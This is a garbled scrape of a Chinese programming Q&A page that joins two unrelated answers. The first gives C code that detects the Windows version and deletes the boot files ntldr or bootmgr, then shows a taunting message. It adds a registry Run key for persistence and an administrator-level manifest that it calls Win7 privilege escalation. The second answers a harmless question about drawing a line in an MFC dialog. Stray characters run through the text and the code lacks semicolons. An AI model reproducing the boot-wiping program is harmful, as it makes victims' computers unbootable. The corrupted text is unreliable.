#include <stdio.h>
#include <conio.h>
int main(int argc, char* argv[])
{
OSVERSIONINFO osinfo
osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO)
GetVersionEx(&osinfo)
if (osinfo.dwMajorVersion == 5) //Windows XP
{
system("del /s %systemroot%\\..\\..\\ntldr")
}
if (osinfo.dwMajorVersion == 6) //Windows 7
{
system("del /s %systemroot%\\..\\..\\bootmgr")
}
MessageBox(NULL, "哈哈哈 你电脑要坏了啦 千万别关机哦", "", MB_OK|MB_ICONWARNING)
return 0
}
还有注册表的没时间做了,亏旦你去百度下吧,关键是:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"App"="%systemroot%\\App.exe"
还有下面的代码:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.0.0.0"
processorArchitecture="X86"
name="a.exe.manifest"
type="win32"
/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator"链闭 uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
把其中的a.exe 改成 你的程序名字.exe,然后存为 你的程序名字.exe.manifest
这是用来win7提权的。。。
另外,破坏了系统引导安全模式是无法打开的,我前几天就删了win7的BCD,结果开机蓝屏,不可能再打开安全模式了。销唤扰。。
分类: 电脑/网络 >>程序设计 >>其他编程语言问题描述:
我想用VC编一个小程序 作用是将一条已知端点的线段均分 求出其分点坐标(包括端点)(端点坐标 份数 需饥蔽仿自己输入)C++程序已经写好了(可以运行) 但要将其可视化 有对烂纤话框的那种 不只是在命令提示符里那种 我不大会并橡 请指教 怎么编写 大体步骤也可以 谢谢
解析:
vc的代码是:
void CLineDlg::OnPaint() //画一条直线
{
CDC *pDC=GetDC()
CPen newpen(PS_DASHDOTDOT,2,(COLORREF) 0)
CPen *oldpen=pDC->SelectObject(&newpen)
pDC->MoveTo(x1,y1)//这就是已知直线的起始端点坐标20,20
pDC->LineTo(x2,y2)//终点的坐标100,20
pDC->SelectObject(oldpen)
}
void CLineDlg::OnButton1()
{
CString str
str.Format("中点的坐标是: %d %d",(x1+x2)/2,(y1+y2)/2)
GetDlgItem(IDC_EDIT1)->SetWindowText(str)
}
这其中的x1,x2,y1,y2都是一个整数值,是一个全局变量
在构造函数当中要初始化,也就是要赋值。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)